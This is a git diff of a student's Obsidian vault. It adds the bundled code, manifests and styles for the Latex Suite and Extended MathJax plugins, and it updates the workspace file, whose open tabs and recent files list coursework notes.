ignoreEvent() { + return false; + } +}; +var TextWidget = class extends import_view10.WidgetType { + constructor(symbol) { + super(); + this.symbol = symbol; + } + eq(other) { + return other.symbol == this.symbol; + } + toDOM() { + const span = document.createElement("span"); + span.className = "cm-math"; + span.textContent = this.symbol; + return span; + } + ignoreEvent() { + return false; + } +}; +function atSamePosAfter(update, oldConceal, newConceal) { + if (oldConceal.length !== newConceal.length) + return false; + for (let i = 0; i < oldConceal.length; ++i) { + const oldStartUpdated = update.changes.mapPos(oldConceal[i].start, 1); + const oldEndUpdated = update.changes.mapPos(oldConceal[i].end, -1); + const b = oldStartUpdated == newConceal[i].start && oldEndUpdated == newConceal[i].end; + if (!b) + return false; + } + return true; +} +function determineCursorPosType(sel, concealSpec) { + let cursorPosType = "apart"; + for (const range of sel.ranges) { + for (const replace of concealSpec) { + const overlapRangeFrom = Math.max(range.from, replace.start); + const overlapRangeTo = Math.min(range.to, replace.end); + if (overlapRangeFrom === overlapRangeTo && (overlapRangeFrom === replace.start || overlapRangeFrom === replace.end)) { + cursorPosType = "edge"; + continue; + } + if (overlapRangeFrom <= overlapRangeTo) + return "within"; + } + } + return cursorPosType; +} +function determineAction(oldCursor, newCursor, mousedown, delayEnabled) { + if (mousedown) + return "conceal"; + if (newCursor === "apart") + return "conceal"; + if (newCursor === "within") + return "reveal"; + if (!delayEnabled) + return "reveal"; + if (!oldCursor || oldCursor === "within") + return "reveal"; + else + return "delay"; +} +function buildDecoSet(concealments) { + const decos = []; + for (const conc of concealments) { + if (!conc.enable) + continue; + for (const replace of conc.spec) { + if (replace.start === replace.end) { + decos.push( + import_view10.Decoration.widget({ + widget: new TextWidget(replace.text), + block: false + }).range(replace.start, replace.end) + ); + } else { + const inclusiveStart = replace.text === ""; + const inclusiveEnd = false; + decos.push( + import_view10.Decoration.replace({ + widget: new ConcealWidget( + replace.text, + replace.class, + replace.elementType + ), + inclusiveStart, + inclusiveEnd, + block: false + }).range(replace.start, replace.end) + ); + } + } + } + return import_view10.Decoration.set(decos, true); +} +function buildAtomicRanges(concealments) { + const repls = concealments.filter((c) => c.enable).flatMap((c) => c.spec).sort((a, b) => a.start - b.start); + const fakeval = new class extends import_state11.RangeValue { + }(); + const builder = new import_state11.RangeSetBuilder(); + for (let i = 0; i < repls.length; i++) { + if (repls[i].text === "") { + if (i + 1 != repls.length && repls[i].end == repls[i + 1].start) { + builder.add(repls[i].start, repls[i + 1].end, fakeval); + i++; + } else { + builder.add(repls[i].start, repls[i].end + 1, fakeval); + } + } else { + builder.add(repls[i].start, repls[i].end, fakeval); + } + } + return builder.finish(); +} +var mkConcealPlugin = (revealTimeout) => import_view10.ViewPlugin.fromClass(class { + constructor() { + this.delayedReveal = (0, import_obsidian7.debounce)((delayedConcealments, view) => { + for (const concealment of delayedConcealments) { + concealment.enable = false; + } + this.decorations = buildDecoSet(this.concealments); + this.atomicRanges = buildAtomicRanges(this.concealments); + view.dispatch(); + }, revealTimeout, true); + this.concealments = []; + this.decorations = import_view10.Decoration.none; + this.atomicRanges = import_state11.RangeSet.empty; + this.delayEnabled = revealTimeout > 0; + } + update(update) { + var _a; + if (!(update.docChanged || update.viewportChanged || update.selectionSet)) + return; + this.delayedReveal.cancel(); + const selection = update.state.selection; + const mousedown = (_a = update.view.plugin(import_obsidian7.livePreviewState)) == null ? void 0 : _a.mousedown; + const concealSpecs = conceal(update.view); + const concealments = []; + const delayedConcealments = []; + for (const spec of concealSpecs) { + const cursorPosType = determineCursorPosType(selection, spec); + const oldConcealment = this.concealments.find( + (old) => atSamePosAfter(update, old.spec, spec) + ); + const concealAction = determineAction( + oldConcealment == null ? void 0 : oldConcealment.cursorPosType, + cursorPosType, + mousedown, + this.delayEnabled + ); + const concealment = { + spec, + cursorPosType, + enable: concealAction !== "reveal" + }; + if (concealAction === "delay") { + delayedConcealments.push(concealment); + } + concealments.push(concealment); + } + if (delayedConcealments.length > 0) { + this.delayedReveal(delayedConcealments, update.view); + } + this.concealments = concealments; + this.decorations = buildDecoSet(this.concealments); + this.atomicRanges = buildAtomicRanges(this.concealments); + } +}, { + decorations: (v) => v.decorations, + provide: (plugin) => import_view10.EditorView.atomicRanges.of((view) => view.plugin(plugin).atomicRanges) +}); + +// src/editor_extensions/highlight_brackets.ts +var import_view11 = require("@codemirror/view"); +var import_state12 = require("@codemirror/state"); +var import_language6 = require("@codemirror/language"); +var Ncolors = 3; +function getHighlightBracketMark(pos, className) { + return import_view11.Decoration.mark({ + inclusive: true, + attributes: {}, + class: className + }).range(pos, pos + 1); +} +function colorPairedBrackets(view) { + const widgets = []; + for (const { from, to } of view.visibleRanges) { + (0, import_language6.syntaxTree)(view.state).iterate({ + from, + to, + enter: (node) => { + const type = node.type; + const to2 = node.to; + if (!(type.name.contains("begin") && type.name.contains("math"))) { + return; + } + const bounds = getEquationBounds(view.state, to2); + if (!bounds) + return; + const eqn = view.state.doc.sliceString(bounds.start, bounds.end); + const openBrackets = ["{", "[", "("]; + const closeBrackets2 = ["}", "]", ")"]; + const bracketsStack = []; + const bracketsPosStack = []; + for (let i = 0; i < eqn.length; i++) { + const char = eqn.charAt(i); + if (openBrackets.contains(char)) { + bracketsStack.push(char); + bracketsPosStack.push(i); + } else if (closeBrackets2.contains(char)) { + const lastBracket = bracketsStack.at(-1); + if (getCloseBracket(lastBracket) === char) { + bracketsStack.pop(); + const lastBracketPos = bracketsPosStack.pop(); + const depth = bracketsStack.length % Ncolors; + const className = "latex-suite-color-bracket-" + depth; + const j = lastBracketPos + bounds.start; + const k = i + bounds.start; + widgets.push(getHighlightBracketMark(j, className)); + widgets.push(getHighlightBracketMark(k, className)); + } + } + } + } + }); + } + return import_view11.Decoration.set(widgets, true); +} +function getEnclosingBracketsPos(view, pos) { + const result = getEquationBounds(view.state); + if (!result) + return -1; + const { start: start2, end: end2 } = result; + const text = view.state.doc.sliceString(start2, end2); + for (let i = pos - start2; i > 0; i--) { + let curChar = text.charAt(i); + if ([")", "]", "}"].contains(curChar)) { + const closeBracket = curChar; + const openBracket = getOpenBracket(closeBracket); + const j = findMatchingBracket(text, i, openBracket, closeBracket, true); + if (j === -1) + return -1; + i = j; + curChar = text.charAt(i); + } else { + if (!["{", "(", "["].contains(curChar)) + continue; + const j = findMatchingBracket(text, i, curChar, getCloseBracket(curChar), false); + if (j === -1) + continue; + return { left: i + start2, right: j + start2 }; + } + } + return -1; +} +function highlightCursorBrackets(view) { + const widgets = []; + const selection = view.state.selection; + const ranges = selection.ranges; + const text = view.state.doc.toString(); + const ctx = Context.fromView(view); + if (!ctx.mode.inMath()) { + return import_view11.Decoration.none; + } + const bounds = ctx.getBounds(selection.main.to); + if (!bounds) + return import_view11.Decoration.none; + const eqn = view.state.doc.sliceString(bounds.start, bounds.end); + const openBrackets = ["{", "[", "("]; + const brackets2 = ["{", "[", "(", "}", "]", ")"]; + let done = false; + for (const range of ranges) { + for (let i = range.to; i > range.from - 2; i--) { + const char = text.charAt(i); + if (!brackets2.contains(char)) + continue; + let openBracket, closeBracket; + let backwards = false; + if (openBrackets.contains(char)) { + openBracket = char; + closeBracket = getCloseBracket(openBracket); + } else { + closeBracket = char; + openBracket = getOpenBracket(char); + backwards = true; + } + let j = findMatchingBracket(eqn, i - bounds.start, openBracket, closeBracket, backwards); + if (j === -1) + continue; + j = j + bounds.start; + widgets.push(getHighlightBracketMark(i, "latex-suite-highlighted-bracket")); + widgets.push(getHighlightBracketMark(j, "latex-suite-highlighted-bracket")); + done = true; + break; + } + if (done) + break; + if (range.empty) { + const pos = range.from - 1; + const result = getEnclosingBracketsPos(view, pos); + if (result === -1) + continue; + widgets.push(getHighlightBracketMark(result.left, "latex-suite-highlighted-bracket")); + widgets.push(getHighlightBracketMark(result.right, "latex-suite-highlighted-bracket")); + done = true; + break; + } + if (done) + break; + } + return import_view11.Decoration.set(widgets, true); +} +var colorPairedBracketsPlugin = import_view11.ViewPlugin.fromClass(class { + constructor(view) { + this.decorations = colorPairedBrackets(view); + } + update(update) { + if (update.docChanged || update.viewportChanged) { + this.decorations = colorPairedBrackets(update.view); + } + } +}, { decorations: (v) => v.decorations }); +var colorPairedBracketsPluginLowestPrec = import_state12.Prec.lowest(colorPairedBracketsPlugin.extension); +var highlightCursorBracketsPlugin = import_view11.ViewPlugin.fromClass(class { + constructor(view) { + this.decorations = highlightCursorBrackets(view); + } + update(update) { + if (update.docChanged || update.selectionSet) + this.decorations = highlightCursorBrackets(update.view); + } +}, { decorations: (v) => v.decorations }); + +// src/main.ts +var LatexSuitePlugin = class extends import_obsidian8.Plugin { + constructor() { + super(...arguments); + this.editorExtensions = []; + } + onload() { + return __async(this, null, function* () { + yield this.loadSettings(); + this.loadIcons(); + this.addSettingTab(new LatexSuiteSettingTab(this.app, this)); + (0, import_obsidian8.loadMathJax)(); + this.legacyEditorWarning(); + this.registerEditorExtension(this.editorExtensions); + this.watchFiles(); + this.addEditorCommands(); + }); + } + onunload() { + } + legacyEditorWarning() { + var _a; + if ((_a = this.app.vault.config) == null ? void 0 : _a.legacyEditor) { + const message = "Obsidian Latex Suite: This plugin does not support the legacy editor. Switch to Live Preview mode to use this plugin."; + new import_obsidian8.Notice(message, 1e5); + console.log(message); + return; + } + } + loadSettings() { + return __async(this, null, function* () { + let data = yield this.loadData(); + const shouldMigrateSettings = data ? "basicSettings" in data : false; + function migrateSettings(oldSettings) { + return __spreadProps(__spreadValues(__spreadValues({}, oldSettings.basicSettings), oldSettings.rawSettings), { + snippets: oldSettings.snippets + }); + } + if (shouldMigrateSettings) { + data = migrateSettings(data); + } + this.settings = Object.assign({}, DEFAULT_SETTINGS, data); + if (shouldMigrateSettings) { + this.saveSettings(); + } + if (this.settings.loadSnippetsFromFile || this.settings.loadSnippetVariablesFromFile) { + const tempSnippetVariables = yield this.getSettingsSnippetVariables(); + const tempSnippets = yield this.getSettingsSnippets(tempSnippetVariables); + this.CMSettings = processLatexSuiteSettings(tempSnippets, this.settings); + this.app.workspace.onLayoutReady(() => { + this.processSettings(); + }); + } else { + yield this.processSettings(); + } + }); + } + saveSettings(didFileLocationChange = false) { + return __async(this, null, function* () { + yield this.saveData(this.settings); + this.processSettings(didFileLocationChange); + }); + } + getSettingsSnippetVariables() { + return __async(this, null, function* () { + try { + return yield parseSnippetVariables(this.settings.snippetVariables); + } catch (e) { + new import_obsidian8.Notice(`Failed to load snippet variables from settings: ${e}`); + console.log(`Failed to load snippet variables from settings: ${e}`); + return {}; + } + }); + } + getSettingsSnippets(snippetVariables) { + return __async(this, null, function* () { + try { + return yield parseSnippets(this.settings.snippets, snippetVariables); + } catch (e) { + new import_obsidian8.Notice(`Failed to load snippets from settings: ${e}`); + console.log(`Failed to load snippets from settings: ${e}`); + return []; + } + }); + } + getSnippets(becauseFileLocationUpdated, becauseFileUpdated) { + return __async(this, null, function* () { + const files = getFileSets(this); + const snippetVariables = this.settings.loadSnippetVariablesFromFile ? yield getVariablesFromFiles(this, files) : yield this.getSettingsSnippetVariables(); + const unknownFileVariables = yield tryGetVariablesFromUnknownFiles(this, files); + if (this.settings.loadSnippetVariablesFromFile) { + Object.assign(snippetVariables, unknownFileVariables); + } + const snippets2 = this.settings.loadSnippetsFromFile ? yield getSnippetsFromFiles(this, files, snippetVariables) : yield this.getSettingsSnippets(snippetVariables); + this.showSnippetsLoadedNotice(snippets2.length, Object.keys(snippetVariables).length, becauseFileLocationUpdated, becauseFileUpdated); + return snippets2; + }); + } + processSettings(becauseFileLocationUpdated = false, becauseFileUpdated = false) { + return __async(this, null, function* () { + this.CMSettings = processLatexSuiteSettings(yield this.getSnippets(becauseFileLocationUpdated, becauseFileUpdated), this.settings); + this.setEditorExtensions(); + this.app.workspace.updateOptions(); + }); + } + // Set 'this.editorExtensions' based on the contents of 'this.CMSettings' + setEditorExtensions() { + while (this.editorExtensions.length) + this.editorExtensions.pop(); + this.editorExtensions.push([ + getLatexSuiteConfigExtension(this.CMSettings), + import_state13.Prec.highest(import_view12.EditorView.domEventHandlers({ "keydown": onKeydown })), + import_view12.EditorView.updateListener.of(handleUpdate), + snippetExtensions + ]); + if (this.CMSettings.concealEnabled) { + const timeout = this.CMSettings.concealRevealTimeout; + this.editorExtensions.push(mkConcealPlugin(timeout).extension); + } + if (this.CMSettings.colorPairedBracketsEnabled) + this.editorExtensions.push(colorPairedBracketsPluginLowestPrec); + if (this.CMSettings.highlightCursorBracketsEnabled) + this.editorExtensions.push(highlightCursorBracketsPlugin.extension); + if (this.CMSettings.mathPreviewEnabled) + this.editorExtensions.push([ + cursorTooltipField.extension, + cursorTooltipBaseTheme, + (0, import_view12.tooltips)({ position: "absolute" }) + ]); + } + showSnippetsLoadedNotice(nSnippets, nSnippetVariables, becauseFileLocationUpdated, becauseFileUpdated) { + if (!(becauseFileLocationUpdated || becauseFileUpdated)) + return; + const prefix = becauseFileLocationUpdated ? "Loaded " : "Successfully reloaded "; + const body = []; + if (this.settings.loadSnippetsFromFile) + body.push(`${nSnippets} snippets`); + if (this.settings.loadSnippetVariablesFromFile) + body.push(`${nSnippetVariables} snippet variables`); + const suffix = " from files."; + new import_obsidian8.Notice(prefix + body.join(" and ") + suffix, 5e3); + } + addEditorCommands() { + for (const command of getEditorCommands(this)) { + this.addCommand(command); + } + } + watchFiles() { + this.app.workspace.onLayoutReady(() => { + const eventsAndCallbacks = { + "modify": onFileChange, + "delete": onFileDelete, + "create": onFileCreate + }; + for (const [key, value] of Object.entries(eventsAndCallbacks)) { + this.registerEvent(this.app.vault.on(key, (file) => value(this, file))); + } + }); + } + loadIcons() { + for (const [iconId, svgContent] of Object.entries(ICONS)) { + (0, import_obsidian8.addIcon)(iconId, svgContent); + } + } +}; + +/* nosourcemap */ \ No newline at end of file diff --git a/.obsidian/plugins/obsidian-latex-suite/manifest.json b/.obsidian/plugins/obsidian-latex-suite/manifest.json new file mode 100755 index 0000000..5a4ffd6 --- /dev/null +++ b/.obsidian/plugins/obsidian-latex-suite/manifest.json @@ -0,0 +1,11 @@ +{ + "id": "obsidian-latex-suite", + "name": "Latex Suite", + "version": "1.9.8", + "minAppVersion": "1.0.0", + "description": "Make typesetting LaTeX math as fast as handwriting through snippets, text expansion, and editor enhancements", + "author": "artisticat", + "authorUrl": "https://github.com/artisticat1", + "fundingUrl": "https://ko-fi.com/artisticat", + "isDesktopOnly": false +} diff --git a/.obsidian/plugins/obsidian-latex-suite/styles.css b/.obsidian/plugins/obsidian-latex-suite/styles.css new file mode 100755 index 0000000..d265e5c --- /dev/null +++ b/.obsidian/plugins/obsidian-latex-suite/styles.css @@ -0,0 +1,235 @@ +/* Settings panel */ + +.setting-item.hidden { + display: none; +} + +.setting-item.setting-item-heading .latex-suite-settings-icon { + margin-right: var(--size-4-2); + display: inline-flex; +} + +.setting-item.setting-item-heading:has(.latex-suite-settings-icon) { + border-bottom: 1px solid var(--background-modifier-border); +} + +.setting-item.setting-item-heading:has(.latex-suite-settings-icon) + .setting-item { + border-top: none; +} + +.setting-item.setting-item-heading:has(.latex-suite-settings-icon) ~ .setting-item:not(.setting-item-heading), .latex-suite-snippet-variables-setting + .setting-item-control { + width: calc(100% - 26px); + margin-left: 26px; +} + +.latex-suite-snippet-variables-setting .setting-item-control { + height: 120px; +} + +.latex-suite-snippet-variables-setting .setting-item-control textarea { + width: 100%; + height: 100%; +} + +.snippets-text-area, .latex-suite-snippet-variables-setting { + display: inline-block; +} + +.snippets-text-area .setting-item-info, .latex-suite-snippet-variables-setting .setting-item-info { + margin-bottom: 0.75rem; +} + +.snippets-text-area .setting-item-control { + flex-direction: column; + align-items: flex-end; +} + +.snippets-editor-wrapper { + width: 100%; + margin-bottom: 0.75rem; +} + +.snippets-editor-wrapper .cm-editor { + border: 1px solid var(--background-modifier-border); + border-radius: 4px; + font-size: var(--font-inputs); + height: 20em; + outline: none !important; + text-align: left; +} + +.snippets-editor-wrapper .cm-line, .snippets-editor-wrapper .cm-lineNumbers { + font-family: var(--font-monospace); +} + +.snippets-footer { + width: 100%; + display: flex; + align-items: center; + justify-content: space-between; +} + +.snippets-editor-validity { + display: flex; + align-items: center; +} + +.snippets-editor-validity-indicator { + color: white; + display: inline-block; + border-radius: 1em; + margin-right: 10px; + cursor: default; + visibility: hidden; +} + +.snippets-editor-validity-indicator svg { + width: 16px !important; + height: 16px !important; +} + +.snippets-editor-validity-indicator:hover { + color: white; +} + +.snippets-editor-validity-indicator.valid { + background-color: var(--color-green); + visibility: visible; +} + +.snippets-editor-validity-indicator.invalid { + background-color: var(--color-red); + visibility: visible; +} + +.snippets-editor-buttons { + display: flex; + flex-direction: row; +} + +.latex-suite-confirmation-modal .setting-item { + border: none; +} + +.search-input-container input.latex-suite-location-input-el { + width: initial; +} + +/* +Snippet color classes. +*/ + +/* These extra selectors enforce their color on all children, because CodeMirror does weird nesting of spans when +nesting multiple decorations. */ + +.latex-suite-snippet-placeholder { + border-radius: 2px; + background-color: var(--placeholder-bg); + outline: var(--placeholder-outline) solid 1px; +} + +.latex-suite-snippet-placeholder-0, span.latex-suite-snippet-placeholder-0 span { + --placeholder-bg: #87cefa2e; + --placeholder-outline: #87cefa6e; +} + +.theme-dark .latex-suite-snippet-placeholder-0, span.latex-suite-snippet-placeholder-0 span { + --placeholder-outline: #87cefa43; +} + +.latex-suite-snippet-placeholder-1, span.latex-suite-snippet-placeholder-1 span { + --placeholder-bg: #ffa50033; + --placeholder-outline: #ffa5006b; +} + +.theme-dark .latex-suite-snippet-placeholder-1, span.latex-suite-snippet-placeholder-1 span { + --placeholder-outline: #ffa5004d; +} + +.latex-suite-snippet-placeholder-2, span.latex-suite-snippet-placeholder-2 span { + --placeholder-bg: #00ff0022; + --placeholder-outline: #00ff0060; +} + +.theme-dark .latex-suite-snippet-placeholder-2, span.latex-suite-snippet-placeholder-2 span { + --placeholder-outline: #00ff003d; +} + + +/* Conceal */ + +span.cm-math.cm-concealed-bold { + font-weight: bold; +} + +span.cm-math.cm-concealed-underline { + text-decoration: underline; +} + +span.cm-math.cm-concealed-mathrm, sub.cm-math.cm-concealed-mathrm { + font-style: normal; +} + + +/* Conceal superscripts without changing line height */ +sup.cm-math { + line-height: 0; +} + +sup.cm-math, sub.cm-math { + font-style: italic; +} + + +/* Inline math tooltip styling */ + +.theme-light .cm-tooltip.cm-tooltip-cursor { + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.028), 0px 3.4px 6.7px rgba(0, 0, 0, .042), 0px 5px 20px rgba(0, 0, 0, .07); +} + +.theme-dark .cm-tooltip.cm-tooltip-cursor { + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.1), + 0px 3.4px 6.7px rgba(0, 0, 0, 0.15), + 0px 0px 30px rgba(0, 0, 0, 0.27); +} + + +/* Highlight brackets */ +.theme-light .latex-suite-highlighted-bracket, .theme-light .latex-suite-highlighted-bracket [class^="latex-suite-color-bracket-"] { + background-color: hsl(var(--accent-h), var(--accent-s), 40%, 0.3); +} + +.theme-dark .latex-suite-highlighted-bracket, .theme-dark .latex-suite-highlighted-bracket [class^="latex-suite-color-bracket-"] { + background-color: hsl(var(--accent-h), var(--accent-s), 70%, 0.6); +} + + +/* Color matching brackets */ + +.theme-light .latex-suite-color-bracket-0, .theme-light .latex-suite-color-bracket-0 .cm-bracket { + color: #527aff; +} + +.theme-dark .latex-suite-color-bracket-0, .theme-dark .latex-suite-color-bracket-0 .cm-bracket { + color: #47b8ff; +} + +.theme-light .latex-suite-color-bracket-1, .theme-light .latex-suite-color-bracket-1 .cm-bracket { + color: #ff50b7; +} + +.theme-dark .latex-suite-color-bracket-1, .theme-dark .latex-suite-color-bracket-1 .cm-bracket { + color: #ff55cd; +} + +.theme-light .latex-suite-color-bracket-2, .theme-light .latex-suite-color-bracket-2 .cm-bracket { + color: #69ba00; +} + +.theme-dark .latex-suite-color-bracket-2, .theme-dark .latex-suite-color-bracket-2 .cm-bracket { + color: #73ff63; +} + +/* .latex-suite-color-bracket-3 { + color: #8de15c; +} */ diff --git a/.obsidian/plugins/obsidian-latex/main.js b/.obsidian/plugins/obsidian-latex/main.js new file mode 100755 index 0000000..c186cc8 --- /dev/null +++ b/.obsidian/plugins/obsidian-latex/main.js @@ -0,0 +1,206 @@ +'use strict'; + +var obsidian = require('obsidian'); + +/*! ***************************************************************************** +Copyright (c) Microsoft Corporation. + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH +REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, +INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +PERFORMANCE OF THIS SOFTWARE. +***************************************************************************** */ +/* global Reflect, Promise */ + +var extendStatics = function(d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; + return extendStatics(d, b); +}; + +function __extends(d, b) { + if (typeof b !== "function" && b !== null) + throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); +} + +function __awaiter(thisArg, _arguments, P, generator) { + function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } + return new (P || (P = Promise))(function (resolve, reject) { + function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } + function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } + function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } + step((generator = generator.apply(thisArg, _arguments || [])).next()); + }); +} + +function __generator(thisArg, body) { + var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; + return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; + function verb(n) { return function (v) { return step([n, v]); }; } + function step(op) { + if (f) throw new TypeError("Generator is already executing."); + while (_) try { + if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; + if (y = 0, t) op = [op[0] & 2, t.value]; + switch (op[0]) { + case 0: case 1: t = op; break; + case 4: _.label++; return { value: op[1], done: false }; + case 5: _.label++; y = op[1]; op = [0]; continue; + case 7: op = _.ops.pop(); _.trys.pop(); continue; + default: + if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } + if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } + if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } + if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } + if (t[2]) _.ops.pop(); + _.trys.pop(); continue; + } + op = body.call(thisArg, _); + } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } + if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; + } +} + +var DEFAULT_SETTINGS = { + preamblePath: "preamble.sty", +}; +var JaxPlugin = /** @class */ (function (_super) { + __extends(JaxPlugin, _super); + function JaxPlugin(app, manifest) { + var _this = _super.call(this, app, manifest) || this; + _this.app = app; + _this.settings = DEFAULT_SETTINGS; + return _this; + } + JaxPlugin.prototype.loadPreamble = function () { + return __awaiter(this, void 0, void 0, function () { + var preamble; + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, this.app.vault.adapter.read(this.settings.preamblePath)]; + case 1: + preamble = _a.sent(); + if (MathJax.tex2chtml == undefined) { + MathJax.startup.ready = function () { + MathJax.startup.defaultReady(); + MathJax.tex2chtml(preamble); + }; + } + else { + MathJax.tex2chtml(preamble); + } + return [2 /*return*/]; + } + }); + }); + }; + JaxPlugin.prototype.loadSettings = function () { + return __awaiter(this, void 0, void 0, function () { + var _a, _b, _c, _d; + return __generator(this, function (_e) { + switch (_e.label) { + case 0: + _a = this; + _c = (_b = Object).assign; + _d = [{}, DEFAULT_SETTINGS]; + return [4 /*yield*/, this.loadData()]; + case 1: + _a.settings = _c.apply(_b, _d.concat([_e.sent()])); + return [2 /*return*/]; + } + }); + }); + }; + JaxPlugin.prototype.saveSettings = function () { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, this.saveData(this.settings)]; + case 1: + _a.sent(); + return [2 /*return*/]; + } + }); + }); + }; + JaxPlugin.prototype.onload = function () { + return __awaiter(this, void 0, void 0, function () { + return __generator(this, function (_a) { + switch (_a.label) { + case 0: return [4 /*yield*/, this.loadSettings()]; + case 1: + _a.sent(); + this.addSettingTab(new JaxPluginSettingTab(this.app, this)); + // Load MathJax so that we can modify it + // Otherwise, it would not be loaded when this plugin is loaded + return [4 /*yield*/, obsidian.loadMathJax()]; + case 2: + // Load MathJax so that we can modify it + // Otherwise, it would not be loaded when this plugin is loaded + _a.sent(); + if (!MathJax) { + console.warn("MathJax was not defined despite loading it."); + return [2 /*return*/]; + } + return [4 /*yield*/, this.loadPreamble()]; + case 3: + _a.sent(); + return [2 /*return*/]; + } + }); + }); + }; + JaxPlugin.prototype.onunload = function () { + // TODO: Is it possible to remove our definitions? + console.log('Unloading Extended MathJax'); + }; + return JaxPlugin; +}(obsidian.Plugin)); +var JaxPluginSettingTab = /** @class */ (function (_super) { + __extends(JaxPluginSettingTab, _super); + function JaxPluginSettingTab(app, plugin) { + var _this = _super.call(this, app, plugin) || this; + _this.plugin = plugin; + return _this; + } + JaxPluginSettingTab.prototype.display = function () { + var _this = this; + var containerEl = this.containerEl; + containerEl.empty(); + new obsidian.Setting(containerEl) + .setName('Preamble path') + .setDesc('Path to global preamble. (Requires reload!)') + .addText(function (text) { + return text + .setValue(_this.plugin.settings.preamblePath) + .onChange(function (value) { return __awaiter(_this, void 0, void 0, function () { + return __generator(this, function (_a) { + switch (_a.label) { + case 0: + this.plugin.settings.preamblePath = value; + return [4 /*yield*/, this.plugin.saveSettings()]; + case 1: + _a.sent(); + return [2 /*return*/]; + } + }); + }); }); + }); + }; + return JaxPluginSettingTab; +}(obsidian.PluginSettingTab)); + +module.exports = JaxPlugin; + + +/* nosourcemap */ \ No newline at end of file diff --git a/.obsidian/plugins/obsidian-latex/manifest.json b/.obsidian/plugins/obsidian-latex/manifest.json new file mode 100755 index 0000000..a278de7 --- /dev/null +++ b/.obsidian/plugins/obsidian-latex/manifest.json @@ -0,0 +1,10 @@ +{ + "id": "obsidian-latex", + "name": "Extended MathJax", + "version": "0.4.1", + "minAppVersion": "0.12.16", + "description": "Adds support for a MathJax preamble and enables additional MathJax extensions for specific domains (chemistry, proofs).", + "author": "Xavier Denis & Ng Wei En", + "authorUrl": "https://github.com/wei2912/obsidian-latex", + "isDesktopOnly": false +} diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json index 224c690..13762bf 100755 --- a/.obsidian/workspace.json +++ b/.obsidian/workspace.json @@ -13,33 +13,58 @@ "state": { "type": "markdown", "state": { - "file": "Penetration Testing/Exploitation Assignment/Discovery.md", + "file": "AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md", "mode": "source", "source": false }, "icon": "lucide-file", - "title": "Discovery" + "title": "Chapter 22 Validity and Inference Rules" } - } - ] - }, - { - "id": "ccb530263275547c", - "type": "tabs", - "children": [ + }, { - "id": "874d2d014b491baf", + "id": "e186aac04d6f44bd", "type": "leaf", "state": { - "type": "pdf", + "type": "markdown", "state": { - "file": "AI & Data Mining/Exercise Booklet.pdf" + "file": "AI & Data Mining/Week 23/Week 23 - Deductive Proofs.md", + "mode": "source", + "source": false }, - "icon": "lucide-file-text", - "title": "Exercise Booklet" + "icon": "lucide-file", + "title": "Week 23 - Deductive Proofs" + } + }, + { + "id": "3ee69deee29aa157", + "type": "leaf", + "state": { + "type": "markdown", + "state": { + "file": "Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md", + "mode": "source", + "source": false + }, + "icon": "lucide-file", + "title": "Task 2 - Web Attacks" + } + }, + { + "id": "9d5df515e1a9868d", + "type": "leaf", + "state": { + "type": "markdown", + "state": { + "file": "Career Development/Assessment 2 Diary.md", + "mode": "source", + "source": false + }, + "icon": "lucide-file", + "title": "Assessment 2 Diary" } } - ] + ], + "currentTab": 3 } ], "direction": "vertical" @@ -97,7 +122,7 @@ } ], "direction": "horizontal", - "width": 395.5 + "width": 204.5 }, "right": { "id": "ee8f6df41634f71e", @@ -217,53 +242,54 @@ "mermaid-tools:Open Mermaid Toolbar": false } }, - "active": "874d2d014b491baf", + "active": "ff4e63a36b080692", "lastOpenFiles": [ + "Client Server Systems/Ecobuddy/test-admin.js", + "Client Server Systems/Ecobuddy/logincontroller.php.deprecated", + "Client Server Systems/Ecobuddy/public/css/fonts/bootstrap-icons.woff2", + "Client Server Systems/Ecobuddy/public/css/fonts/bootstrap-icons.woff", + "Client Server Systems/Ecobuddy/public/js/simpleAuth.js", + "Client Server Systems/Ecobuddy/public/js/facilityData.js", + "Client Server Systems/Ecobuddy/public/js/comments.js", + "Client Server Systems/Ecobuddy/public/js/bootstrap.bundle.js", + "Client Server 